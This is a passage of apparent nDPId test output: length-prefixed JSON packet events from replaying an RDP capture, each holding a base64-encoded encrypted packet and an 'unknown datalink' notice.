+00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1417,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482180,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiakAAfwYl68CoAo6sEAK5DT3NDkefVsD5vRodUBj4A+FpAAARrlZUqLG1qPPIPBpiTiM6Lvj\/Ybluv3cgvWPgIrGD70YhL534VeNO0+dmF0AH+G75Dog2v5WZmqgGWckzoujeexFoAdaq0OLVwuQWc2ir5q9teU84dST9MPuXGYddc8xgia+TgcW7F6SAEMbi+p\/hBWScrRr0BZgkHUxghG4PxDYBw0xX\/Nv7iMvIUuWvizjwKSE9TOVUup0LcP\/hxikUPGdEKXdfwTRFr1NQb0qnKUcn7EdsDV6lhmJcpSLC565\/3u5syEhzx+AZU6PDGhQt4UjH5Uy\/5KhT3JeI9fPvk+5cdEw\/QhsSq7w2oeVZiNQaUIPsfSqpHiKa0Dsf+lrOlnwyH82pgyHhBLUqEYvfLqHuafzwEr9kyEZslQgzXF4J35HegHIRjeA3FOazpkRyEz0BC7g12HoUscZ0Hx5UUNlaRMHufLxQk2M69VtLGQ92tNy9pQpa3SyqhtnWyLteE\/ZbhNwGuuU3FgfRZ15yjSQHEOIL2mmI2wjV"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1417,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1418,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482216,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G2tHn1g7UBAf9I6RAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1418,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1419,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482240,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFia0AAfwYibMCoAo6sEAK5DT3NDkefWDv5vRodUBD4A8kfAAAXAwMGbwAAAAAAAAHMxvufmD4uI9FEjNCadGew+fGTxhTXXtkcuaQhdl0tO+kkBsuWONGGEBBqOfHucoSZKQFNnc\/HG3LtO9iLzVt6oOW7rhNYxoZDQ66B+fOqzfViKxbF8hN42h+X5D3SQRKvuT5F26gC9JZ5NCf3yk0Uzz5Ehhxi7REY083Bp3wV1kvH9V9nwu1UzGe9JCR3BiA\/FDtbHHwTtL1krIlpMPM7MLPBMVI4IF42PpBi1qItK+uP097zO1E5exfh1HeCOhae2QOQ0BOhbbF8EC2BfwD4Q6g2edZzu4NyWgrOTLUK9dPA\/b1MV7dxTe65O2WrOzkc2eEGIY57sB\/lXaD7+A3fmfX42oVa3D8cWogaH23PIxI8bWPbJCXiI2WDmNC8J7ndOjcXis4Xr66xo7QLuGWF3GST5a953+ejaGb\/H6PrIhaZNTjM5LyU7HIqgDMcOcBsUmDMNxZPdA6RXKIsCXyPrbWzlUYRzOdvb\/P+EUwJQKyaBQNXPgxCJDPT9KamikCz\/GfeNbh\/pdW24FhDn7qVC9chNwv2cq7zG65bUT40OZdZQ00Soq7rpBW69g3uEfdmat7bmMfrbxA1CJqQoS5LlDMEyods8bKYm7u4C8y6PXRQ6Xakh8+PL7tAukiOOOurm5ujBYEWliKAE+vWIeShb88vmhpECo77t+XI94Ico+3otqk1I8OLJ2RQq94aq2\/jHthUPyrD6TegEzIcEgNAZ7+Ne8E26DeLkfj1cvrooUPfsiZpDxbvDsf+P\/WTUSf7X7Fo8FpohTkfsSvaQBGRiZZ+UlBc9kjloM3nxfs+Et6YCgeGIQ91+npf3HZ2vT1aciTa3yQeENuprkvnxE0zEY07uH8VJQG8T\/\/MeSuE\/CwpxyTwtJm7QYNTpWg9+5byVYKH7nk7ZITzLn1giEn9MczFk+9E9nka\/VgGY+2rutXz4\/j0Lg+3zhign0EVTJECCRabChRCHoQqYEnT+kOqtdnGFsFXNydMx6gv3xC1vYvZAfdrNIdy9\/YZEzQ7JrLpDW6ViXys3nFzNgP69mFcehM49Lp\/tkf8Lf9dE830ROIWusIMpwM7cuLVr4HmZuW2mkTWORQOQ3WCvALJgjDb7YinmCDTQ9CiZo2K9WswfAy8CRaBZqJBABWdcfrW56VxCKx7b0Us5QqkVEajOaBt9rK6++C5s+JFrinHiaT2vNvmXfxbjLo7VgL9voLWlCOa67UD1w0wVicuKDVwZxkEWg0ufAAYcyyVtjua4y2SiIVvUuyVU93UEme81Du2Bs2g0O+SaH4HMPHDOW3bssLYwyTtWaj1rgE3nlkd138TWaH742x9Y9OskXBkCeoVFQL+4ffgZgb+0mTGyLyRoKsfE2B7J2Zg2Jvc9eK4ODoA8hZwlMdiwVHUY5txQ+PgDwyYIikRO5y5JzY2BU4W6GN1BisQF2Dl9eDHr3KZb3lvqpGHO3UedqewClLod\/cWVfWcDP+j+H+YznrawKZqgDImlJUPiezUyhhsX1EZaJZ92YCo6W\/3DOP9Gwr0sw\/\/Xorxzt7I9E+LOxVM0p\/MnhCBIqIkhoBiZkgZXheceX+1dNy3KYtXEKfaxwCN9yKn8c\/rK9nhSfaMYS3HGY6Cr3jcpbOhWWIFV8dMTC\/1hdUJlTYfG+pBW1eXj2PI5fbGc6qm+Hochv0lAAZt5eA0"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1419,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1420,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482463,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNibEAAfwYl6cCoAo6sEAK5DT3NDkefXTT5vRodUBj4A3QCAABxFzSYgfyfeUMFFfjvdPoPqIjEz2pHwu8pi\/S43KaxsyFwjyrl8oz\/1gFDgslqkpv4xjx21NbxKIprHDN7\/QJUjB1I+iNcdnBXrDG5TkqawJm2AonD\/lh9Tkd6qwyASXnAdDTIzjl\/eJO9PiIz8bIirRvUTaSpXXzr5\/TOTmi1+UWFJd0vGlTJ\/pfSSL+Taie\/DIP1Vp9Y0xbCXMOeyuNFWozWeRjxok51cDOI+ka71zgJEtbrtfj+qcDVY8pqndEh69+zW\/NgGBj62kVe8XGsmJEthM\/tjpcPygiJ1nBKWORWJMv5Lg7YIF+imiO57LE4Xfq9gGU8P7dnpXARs2waWqdFwldxIzOTAiVVvxycJxXUBptEhgrOi+hOfZeTM06yD2bSKZjqXiP0h7djSbfcWgus6DJDlF0ex9bYa8xeednlw0TmhsvkfNlBsmmfXdBlVtqWeYCrr2dcDfYY3VX7jAOIR9QjwuOxrO15OZnkXUXu2\/05jXwuS23p"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1420,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1421,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482499,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G2tHn16vUBAf9IgdAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1421,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1422,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482526,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFibUAAfwYiasCoAo6sEAK5DT3NDkefXq\/5vRodUBD4A3U1AAAXAwMGbwAAAAAAAAHNF0hZtd0X8HnDhzzdvCXKsMJWvzzKONxgpXB+Am07460Ip5hsi6R8DynttOVw+UcrSo8mVKSKoAdlltJK4XAffnZmd77yx3x+zRZqoLcWQ2KztlXxg+qeV5NxJ54HEbkobLyuM\/4Gc8bcPouP2SRRQ3AaflCPvNqP0nl+T28zSG8FRDmXM4VBB+YKZeaHJToUnYEeTKIy1xzObx8nxa\/OW4duKHSgA6VhdNNBV8UJbTP7Fs\/8rVHHw8G++akfgX5xhL9Yl4n6Lb0VWoz5EWkQTPaJGZgsQWasyukOGCeOwIHk2nrmoRspF6+ioKAhnZen3V4OW5std9ybJYGULLK6\/gi\/ZaGSfJFg0kKBKukQjXlollndPTAozcTfUhOQYkqnMKqoMN+An\/4C6Dg556mze40+GMsCEcRtyynBpLikh6yJ0s+UzhgsIY09rzhvS6VeVFLWsldjnevE7lkTGXhBfljL6zkZReNrMXICthq1CnrNj9m9doaOwl6mjj9sRsbjZGAmTxHvcK5fgsW949YKfJNFJYRWkCBLXJ7NdXHIpSKiDOL3+raSmkSDqCgmg5hquvrSzu3lzE24dYdEveUjPGe5\/1i7WtpLcvXrLjNK1vNvdCRAjTkVbV9s2yn2KaSwIr7VRhpuXOgc3koL7kkaF7dyYUMQgxrZTgPDYjYcS+TwaVdMIbjQz0qXUE4G8QEvGxWpIaUiF89wRYv6J9JAwh3V5u9s6JcChefBOiKi26Peb6ZLTydVkQekAvCfZjgLnYi06eHvTG98rVfAxOoYsX9qVz6LHVCTMZ7phx4gRLM596QKgJYTNMPA4vXEZUH\/FMI\/mbOlK3U47nrchvo2b7dKjlJU3ZKjDUo664hsBatfmtYbgf5ir5sKSUh1jrtltYfYjWaX7Inq\/JiDzgRB7chxvnqoRaIdC\/jdMzfwhWRgzjRfnAqpXa9hva0M9bQzmz7WqlWTaK97iGCmXCGADh5g3g5ZeV+0Tn9A+gnil43DqWMLVkL6LQDAvKsum\/GDnd0DCC9T\/Ty38HhdmdNC\/l+umNme66wGI7m4yFDTPSTkfdlJuzdnkCKHnXkWZkOERLHmFWU4XOqTgjSYj6uDd9tTjqVSGEGbWGgOFlwJZCFv4U8OMORjToFg2H5CNeSYjtPx8DIHjgyc3\/AUtRsyEBJk9MvAu9fjOveI0AeW32YnBXUZfFAU3SeBTV3ESNibAAtkYQGqq14cQBsovCaZxZfzXE8gfMdAd78xrKr6FesZnD5TYKocfGyboOUhGVyQ3GvfMfnBeCH5mi4A067Qly6iR7QXyT+rCp2wFJWt\/E6YtX225c4V\/l7aPSJ4rHG4EOJv25rbC4azxgtiEMZDSblv8T8232wcmBYNw7WFX7CMyzZeEwTp784Sll9bAl\/PIE5w24L1RYZP8W\/VJPJ+e7kaAkhjL5S3Kvi0RxCAM6m9G+8Almga3zTTZlK19ZKHmhGnhF6uadg9qr5myVJF5hTnSDJ+UKdrpmLSRWEamJo8rLDiMt5s8b86tSJtLXIomYjwRgYGTLqIyApTA4woDXSlT7tivuKe8bHecF3aeHk4DJnQzwBRidE8O\/vvKqzOJEU4btrABqek8LayreB05byj+VcmQMCwzz\/hCVTPZ4INyJHw91PWuzZYlZicE\/FzvjJfhrTfrhA4WIGp"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1422,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00873{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1423,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482767,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNibkAAfwYl58CoAo6sEAK5DT3NDkefY6j5vRodUBj4A5I8AAD0zm\/wUyddDmtpdx8SUf\/kX5\/OPd11iJ9ORCaPEo\/z2B2kstM6q7hcFgIfHjPbFGGUWZjNpyoW8Ma4a0jJVQad82q40OWlJtLK1vLEWPC87uBaJjUl5MetqujS5FhGW7WjjD460ZLmMy0T0QYXCEk\/zkYEjPpDNgqXdNfnHfCgelH3yoQZ\/FE2VAzM5IzAexMDNqWF81+CtILeW1xYLvwJ\/4VhzlpCmpyBXtdL+Xl1+DyNJG\/t80R0lyGu0xOWBaPE0Qf\/+3\/+C7PjeSQqivLAbcvDMMb\/6PB\/2\/8GGPSr8LhwgP1+r+h6yvYqXH1INbUhV1A\/27q8cIifcB0PzaX3AGSpLEU\/WSZsayhuyYnBa2RtoGqxpb9wDOuY2\/LX7viG0BHPgb8RUNaQbGnazWXKofPtRh9QphwY0DPyL2UXm68FyvKD7cR+PJVI4917jE4ietXTzaFwT+baoeonxVyz12lfvzHPDm0ejvSrtzuZa11c5GgOXVUNGAAj"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1423,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1424,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482801,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1ib0AAfwYnLMCoAo6sEAK5DT3NDkefZSP5vRodUBj4A5\/5AAAXAwMAMAAAAAAAAAHO0oQeVnAzlCdHyrW6XXEnLgoUoyMHAq5yrQaltV7vsL8fwyVAbly8IA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1424,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1425,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482803,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G2tHn2UjUBAf9IGpAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1425,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1426,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":482824,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G2tHn2VYUBAf\/oFqAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1426,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1427,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":483065,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9G2tHn2VYUBggAPKeAAAXAwMAMOAIO32NJwwdXuf6lbWTPPrgQfr3LPYOjji1TRj5g8kStgiTz5AAkP+ZBTKhj2Fjaw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1427,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1428,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495112,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFicEAAfwYiZ8CoAo6sEAK5DT3NDkefZVj5vRpaUBD3xkTBAAAXAwMGbwAAAAAAAAHP95jsPnFC1EjENTombmsYBpL\/jArz435zIUQG+FxtVMUAwL5rcWRenRa6VWM+z4XMVpABnp8dFzIyjPc5mHOqdz0FEkKTBD212qYYJwd19Qo0lfvrfUHsehFpze9U2hQsX7LkDglEPr3UnvEQ8k\/AAMr81vZoqjqcZ6nT5O0\/ah9wjxE+dx0hUIcLh8ZgjmPPfX1lbLQ7NchKpTbMeYUIstEdT0inkJLsBi3VpOY9xoZFarmbje0g4IRzi71BBOQAh1BPaX2Emm\/pB3lGqbQxolBXDS6J4wat4txEzCDY0DEevr3HD+W9BoGV5WaOTn2OBx0at2yA1IWV3SQHqzyb4IamgJaAQdoYhE5fJMM6BwgDIas21a3Cwkf5gtL8zVmI8Lxeqmu+ZDLWCHaLqsmkh0yQzKYdyUfm1LQZ6M7KjTlr52MA2qlpAm3av8Rx9Ap9UIuPM6P5dogygMLutiGevmKUSViiOjlMj\/V9JhlunD25hpMBbG5td1HdesTQ5s4zPs\/QC6+R6CAusUySZstdp8dESARDa8qrBbgH\/vGb3EqfZvCyKF4gKLcE7TjhlYEkO1WWS59QlIWBgfW7uequNuSX9VnnqOLeKuzLqy3fzS5R4ZEMlj3rUtN\/LIRMKf+Jo4hEzWu8\/b2ALZgXieZguMcBqxPF7YumfjJRSM0qnD6f8hQRgsV4X4hh5extCkKTubEm4sMV0KB06dGo9lV53rjEZEUZXEaLpjAEz4X3kya8lJ+rR9tujweR6\/+GEsacZJBl2rSX9+xvO4\/LtctHipNPzNmnqlmwHb01foVB22ALnz0m\/AUn3A3SLzhXipzbrDXehRsER3V5eenCRZb1qnAqRe8\/2eD5bBWN1K3kfVkY3QGnNb3gfACJoUHC34mUpt0x+xgQO7\/hSA3njrQ\/3dUVQOcmv0xoylM+sai\/M0VPd7e+oKJk1p2nU1Uj0kZUI7oDzmbz4KYj+8BGncsCHuFq1lZmY+ajSWjtU6Ih1hbU5tDePQbfoPGebmRf+FiwA43nnXkcxGo29YRaei3BmU1CrVS95xSJXJtnC72ydeEVn6nDAn0uTSg2aXD1n0N6fGYRaeT+NoK16SJYka2kUhcH10W1fpIZ8SHDTlad2l9fgCI2D2n+dCQzmIjdSu4ujaMkvWJnJ4Waqh58Gqs3I+rDKHkqd2qPJnn241m79jKKckp\/MRN8WLvgKM\/CNf6nyE22y5CGUxjnj6uESQwm5wyMICEbO5hB3hw7Az0R4+rL5Mhnlker5Jkc94sdz\/fB16LKaLuFI7totgWkah10Q4daT299O4LWJIpHXTxREB0OeAV0Q3UtrT1IfAx4dhd7BfJGurSLNwmlX2ZTxu\/agdXHJAtpSYr5BVSda12vMvZieHB7HUYaNcqffZ97gGmq0FjGYVmOk6ZpMfy0wS8kvM3VDAx3Pyp\/acBU8KdpC9ynE64OKvmk1XCmo1VynaalIgdGiNt+NeW1xnT+S25KVrRdJd64VRsd4AySZGAZTcCRlYCYdCLC37N155RVOJQ95L7s+1kzZmUu4Y1ZhlX+WwkRrOYLWYbO+xqBt6WDWtn4WdBJg3nK0SahBUAxAjWKhQjXT6\/y16KTPHG\/s\/wZhbF9R8OmZKMMiv0C2icDyFvGGXK4OKQ6wv9xhvVgQxZ3lI1HiUNdo1MDp2AX"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1428,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1429,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495160,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNicUAAfwYl5MCoAo6sEAK5DT3NDkefalH5vRpaUBj3xrEbAACFK\/B5bsUMv7bfJzlwZcyjcR7qMeSr3gt73Wp7SvdABEtrawzxNSfki11nFHpQ7RkNKWq3FQgpbUBkwSgwOizVaZBj6X4vM+L6sx\/uacdFCLdVGrk6Jrc35F5eyH0fBmQffBBAy6wPHQc8P3xbQBpGPu4T5HS8CvGS0JzLuEljplQrzIUElUySK1uRLHeLMZW9fxDvqotT59fqjXUbKeJD1puNu4fbSqhnDqsQ\/NG4h0+Z5fV52gbKX3aPj2Vf++Cd842uK5RofvBwGr6lFKiNhwu9sT0YTyWDPgeJXsoLwm1muAGn0tJPUHRieZZCKf8cVkR11ogOJFfOcX\/iOAU0rMY8Xncf3iLPbm71O2K\/RbXR6UxPy6FuY9wktzZnf4aeo5tLDRxlPoboBRWEhabSuvi2TlguSj6m8\/BWiDnTQnofft67E2YcJtmION+BU5l\/+X8hCqOIC\/sdKaD2jUTh5xxBjnByYHMR2a5ePdjxcKY2vEajP\/HxiPFl"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1429,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1430,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495203,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G6BHn2vMUBAf9HrLAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1430,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1431,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495219,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1ickAAfwYnKcCoAo6sEAK5DT3NDkefa8z5vRpaUBj3xhX5AAAXAwMAMAAAAAAAAAHQ\/K1KX85x9P7XPGCzyCE\/XD4OXRsMMvbbf7S8G1R6AdLxuM13Rz+Cww=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1431,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1432,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495319,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChic0AAfwYnXcCoAo6sEAK5DT3NDkefbAH5vRrEUBD3XKQJAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1432,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1433,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495339,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G6BHn2wBUBAf8nqYAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1433,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1434,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495429,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1idEAAfwYnJ8CoAo6sEAK5DT3NDkefbAH5vRrEUBj3XIQxAAAXAwMAMAAAAAAAAAHRTSH6mmQT5fVk55aKwx5QMM8X0hzsrK0AJp49o1V7iAdkkTKl+lTnSw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1434,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1435,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495479,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G6BHn2w2UBAf\/npXAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1435,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1436,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":495673,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9G6BHn2w2UBggABpSAAAXAwMAOOAIO32NJwweEDvYz28rpF68l1iHw06alwgWfSQ587M1kAM2H91hAmWqf1oTLxjBahMf\/GCh0tfx"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1436,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1437,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496264,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFidUAAfwYiYsCoAo6sEAK5DT3NDkefbDb5vRrEUBD3XHn8AAAXAwMGbwAAAAAAAAHSWhzTLS9pqicz1mfCxncTLPunK8jI66JckG8\/o5GkuwxIaRPTHrpJBYaVWX5EngtDWZegD6RZSPF8W9ZeVuBXsXk9SJfCu7lOktr2TNyfsiT7dHWSDW1wRDS1cG484XeE5awFqmrGkzv73BfWfYxoXy\/iehs\/GEO62czRwt+kltV\/ZzaORBdj6IgyTF\/Zxm\/8VvIWr9rxVUME1UfEVsBJGJaY27kmK9s65YB1vXlqO6984PVUPWc9re64G6ynTXZCuLtzdHN7ZOTCvtOjodZhkjNOM8BfA5OfPkbJMag1jNT2unAxpfNxWTU01msoyC31Wmsmg89NOOgxKJT9T1cZct3aOtPn3sFZ\/y\/OsYqqwBLTdbLOV6cJoBtfh2+z70609jsfhoXe28zf5mOoSSJdLGfyMkwV+1ApCfu+nL5bXOHCT0ORnoLrctNDfe5cqnglRU\/VZscFDissGLoN0camqn5tSybntumlYEP0gaNZdoNuS3VylE9iRZth4O9HToYI28gLs8\/86DoNVakpGCrqBSPJBoc9eAmH13IpEBX9rXFgY06N2JCPjf4J02szJWrXLE73eMJHK3j6XUVUpGE1TsKSEBhltzaXb8rgyiRiy2ZsExsJQpCqmnp0KK5lJZkz2++ejMX5RQU8hGNdLkHtQ2Xr5N+XBIOezKb5fxhEsNOy\/lqB8y8IsntatcRNuU4YekosnQArnzzwRvZM\/M\/2zGbhK61DC5tD1v4KUKWuve23AwYU31g2CEonMXMMGM2n6gc5uiCagAFvdGJxViU3YZPTGI0jcmQMoaz97UNWYAKss2g4+wZLQfC3igpCliTGf0piZcSPBSf0LwIkkPZaqnfDyLe\/9CHQOZwjt7Yyn\/53GD86FrCb65BZHju\/Mn2p1c2k3b1DGvqO3Ovh7mXMeViIpGvoII\/4YGfAh0aFoow54UvRjLQGel08p84g+xQ3cv2rBtVDam7hUWyudY7VvD70NVDlxiG76Am9YSvaU7mICtZFoi1DxuFNBcTpxdwB7AG5fV+Zo4etdEjFBIgWvjEo\/A8rcD9\/O1Pj2VZExkMWHkitprzNgwBA5aNWl\/xxnuu6rLREPVEAFJuRQ6dc4MkPyK6LTdFENQeMV4bNwy+iGQmSG